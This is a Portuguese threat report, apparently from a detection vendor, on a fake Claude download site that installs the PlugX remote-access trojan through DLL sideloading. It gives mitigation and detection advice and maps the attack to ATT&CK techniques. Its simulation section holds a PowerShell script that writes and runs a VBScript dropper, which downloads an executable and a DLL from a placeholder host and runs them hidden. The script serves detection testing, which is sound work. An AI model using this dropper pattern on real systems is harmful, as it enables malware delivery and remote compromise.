Site falso do Claude instala malware que dá aos atacantes acesso ao seu computador

SOC Prime Team

Seguir

Site falso do Claude instala malware que dá aos atacantes acesso ao seu computador

Detection stack

AIDR
Alert
ETL
Query

Relatório de Ameaça
Fluxo de Ataque
Detecções
Simulações

Resumo

Os atacantes configuraram uma página falsa de download do Claude que entregou um arquivo ZIP trojanizado para usuários desavisados. Uma vez aberto, o arquivo instalou um cliente desktop Claude aparentemente legítimo enquanto implantava secretamente o trojan de acesso remoto PlugX por meio de carregamento de DLL com um atualizador G DATA assinado. A carga maliciosa foi colocada na pasta Inicializar do usuário para manter a persistência e, em seguida, iniciou comunicação HTTPS de saída com um servidor de comando e controle. A campanha mostra como os atores de ameaças estão cada vez mais explorando o interesse em ferramentas de IA populares como uma isca de engenharia social para comprometimento inicial.

Investigação

Durante a análise, os pesquisadores descompactaram o arquivo ZIP, identificaram o caminho de instalação do MSI e seguiram a execução para um VBScript dropper que gravou NOVUpdate.exe, um avk.dll, e um arquivo de dados criptografado na pasta de Inicialização. A execução na sandbox confirmou que o binário sideloaded foi iniciado com sucesso, alterou uma chave de registro relacionada ao TCP/IP e iniciou conexões de saída pela porta 443 para um endereço IP hospedado na Alibaba Cloud. Esses achados confirmaram a entrega do PlugX por meio de uma cadeia de infecção em etapas disfarçada como software legítimo de IA.

Mitigação

Os usuários devem baixar o software Claude apenas de fontes oficiais verificadas e validar a autenticidade dos pacotes de instalação antes da execução. Os defensores devem inspecionar as pastas de Inicialização em busca de binários ou DLLs inesperados, especialmente arquivos que imitam componentes de atualização legítimos. A telemetria de firewall e endpoint também deve ser revisada quanto a tráfego HTTPS de saída suspeito vinculado a novos aplicativos instalados. Remover os arquivos maliciosos, reverter quaisquer alterações de registro não autorizadas e executar uma varredura de antivírus confiável são etapas-chave para conter a ameaça.

Resposta

As equipes de segurança devem detectar e alertar sobre a presença de NOVUpdate.exe, avk.dll, ou NOVUpdate.exe.dat dentro do diretório de Inicialização. Detecções adicionais devem se concentrar em binários assinados do atualizador G DATA carregando DLLs não confiáveis e estabelecendo sessões TLS de saída inesperadas para a infraestrutura identificada. Hosts afetados devem passar por remediação completa e uma revisão forense para confirmar que nenhum outro componente do PlugX, mecanismo de persistência ou cargas adicionais permanecem ativos.

graph TB %% Class definitions classDef technique fill:#ffdd99 classDef file fill:#c2f0c2 classDef script fill:#d9d9ff classDef process fill:#f0c2c2 classDef persistence fill:#ffd9b3 classDef c2 fill:#b3e5fc classDef evasion fill:#e6b3ff classDef registry fill:#ffe699 %% Nodes u2013 Files and Artifacts node_spoofed_website[“Ficheiro – Site falso do Claude Hospeda ZIP malicioso”]:::file node_malicious_zip[“Ficheiro – ZIP malicioso Contém instalador MSI trojanizado”]:::file node_msi_installer[“Ficheiro – Instalador MSI trojanizado”]:::file node_vbscript[“Script – Claude AI.vbs Copia ficheiros, executa Claude, estabelece persistência”]:::script node_novupdate_exe[“Ficheiro – NOVUpdate.exe Atualizador legítimo G DATA usado para DLL sideloading”]:::file node_avk_dll[“Ficheiro – avk.dll DLL maliciosa carregada pelo atualizador”]:::file node_dat_file[“Ficheiro – NOVUpdate.exe.dat Payload encriptado”]:::file node_startup_folder[“Ficheiro – Pasta de arranque Destino de ficheiros copiados”]:::file node_shortcut[“Ficheiro – Claude AI.lnk Atalho que executa o VBScript”]:::file node_cleanup_batch[“Ficheiro – cleanup.bat Remove artefactos maliciosos”]:::file node_registry_key[“Registo – HKLM\System\CurrentControlSet\Services\Tcpip\Parameters”]:::registry %% Nodes u2013 Techniques node_initial_access[“Técnica – T1204.002 Execução do utilizador Vítima descarrega ZIP e executa MSI”]:::technique node_execution[“Técnica – T1059.005 Visual Basic Executa VBScript malicioso”]:::technique node_persistence_startup[“Técnica – T1037.005 Itens de arranque Copia ficheiros para a pasta de arranque”]:::persistence node_persistence_shortcut[“Técnica – T1547.009 Modificação de atalhos Cria e substitui atalho”]:::persistence node_appcert_dll[“Técnica – T1546.009 AppCert DLLs DLL sideloading via G DATA”]:::evasion node_obfuscation[“Técnica – T1027.009 Ficheiros ofuscados Payload .dat desencriptado em execução”]:::evasion node_registry_mod[“Técnica – T1012 Consulta de registo Modifica parâmetros TCP/IP”]:::registry node_c2_proxy[“Técnica – T1090.002 Proxy externo HTTPS via proxy”]:::c2 node_c2_web[“Técnica – T1102 Serviço web Comunicação HTTPS”]:::c2 node_indicator_removal[“Técnica – T1070.010 Remoção de indicadores Batch elimina dropper e auto-elimina-se”]:::evasion %% Flow Connections node_spoofed_website –>|hosts| node_malicious_zip node_malicious_zip –>|delivered via| node_msi_installer node_msi_installer –>|drops| node_vbscript node_msi_installer –>|drops| node_novupdate_exe node_msi_installer –>|drops| node_avk_dll node_msi_installer –>|drops| node_dat_file node_initial_access –>|leads to| node_msi_installer node_vbscript –>|executes| node_execution node_execution –>|enables| node_persistence_startup node_execution –>|creates| node_shortcut node_persistence_startup –>|copies to| node_startup_folder node_startup_folder –>|contains| node_novupdate_exe node_startup_folder –>|contains| node_avk_dll node_startup_folder –>|contains| node_dat_file node_persistence_shortcut –>|creates| node_shortcut node_persistence_shortcut –>|replaces with clean| node_shortcut node_appcert_dll –>|loads| node_avk_dll node_obfuscation –>|decrypts| node_dat_file node_registry_mod –>|modifies| node_registry_key node_c2_proxy –>|uses| node_c2_web node_indicator_removal –>|creates| node_cleanup_batch node_cleanup_batch –>|deletes| node_vbscript node_cleanup_batch –>|deletes| node_msi_installer %% Class Assignments class node_initial_access technique class node_execution technique class node_persistence_startup persistence class node_persistence_shortcut persistence class node_appcert_dll evasion class node_obfuscation evasion class node_registry_mod registry class node_c2_proxy c2 class node_c2_web c2 class node_indicator_removal evasion

Fluxo de Ataque

Narrativa de Ataque & Comandos:
Um atacante cria um script VBS malicioso que baixa a carga útil NOVUpdate.exe de um servidor de comando e controle (C2), escreve para %TEMP%, e então o executa via wscript.exe. O mesmo script também carrega avk.dll do mesmo local para realizar o carregamento de DLL. O atacante depende do Windows Script Host (WSH) embutido para evitar levantar suspeitas de heurísticas tradicionais de antivírus.
1. Escrever o arquivo VBS malicioso (malicious.vbs) para %TEMP%.
2. Invocar wscript.exe com o caminho do arquivo VBS.
3. O script VBS realiza um HTTP GET para buscar NOVUpdate.exe and avk.dll, grava-os no disco e executa NOVUpdate.exe.

Script de Teste de Regressão:

# --------------------------------------------------------------------
# Simulação de dropper malicioso – aciona a regra Sigma
# --------------------------------------------------------------------
$tempDir = "$env:TEMPDropperDemo"
New-Item -ItemType Directory -Path $tempDir -Force | Out-Null

# 1. Criar VBS malicioso que baixa dois arquivos e executa NOVUpdate.exe
$vbsPath = "$tempDirmalicious.vbs"
$vbsContent = @"
Set objXML = CreateObject("Microsoft.XMLHTTP")
objXML.open "GET", "http://example.com/NOVUpdate.exe", False
objXML.send
If objXML.Status = 200 Then
Set objStream = CreateObject("ADODB.Stream")
objStream.Type = 1
objStream.Open
objStream.Write objXML.ResponseBody
objStream.SaveToFile "$tempDirNOVUpdate.exe", 2
objStream.Close
End If

‘ Download avk.dll (usado para carregamento de DLL) objXML.open “GET”, “http://example.com/avk.dll“, False objXML.send If objXML.Status = 200 Then Set objStream = CreateObject(“ADODB.Stream”) objStream.Type = 1 objStream.Open objStream.Write objXML.ResponseBody objStream.SaveToFile “$tempDiravk.dll”, 2 objStream.Close End If

‘ Executa o EXE baixado CreateObject(“WScript.Shell”).Run “””$tempDirNOVUpdate.exe”””, 0, False “@ Set-Content -Path $vbsPath -Value $vbsContent -Encoding ASCII

# 2. Executar o script via wscript.exe (esta é a telemetria que estamos testando)
$wscript = "$env:SystemRootSystem32wscript.exe"
Start-Process -FilePath $wscript -ArgumentList "`"$vbsPath`"" -WindowStyle Hidden

# OPCIONAL: pause para permitir que a detecção seja disparada
Start-Sleep -Seconds 10
# ---------------------------------------------------------------------

Comandos de Limpeza:

# Remover todos os artefatos criados pela simulação
$tempDir = "$env:TEMPDropperDemo"
if (Test-Path $tempDir) {
    Remove-Item -Path $tempDir -Recurse -Force
}

# Assegure-se de que quaisquer processos NOVUpdate.exe persistentes estejam encerrados
Get-Process -Name "NOVUpdate" -ErrorAction SilentlyContinue | Stop-Process -Force

Junte-se à plataforma Detection as Code da SOC Prime para melhorar a visibilidade das ameaças mais relevantes para o seu negócio. Para ajudá-lo a começar e gerar valor imediato, agende uma reunião agora com os especialistas da SOC Prime.

Cadastre-se Gratuitamente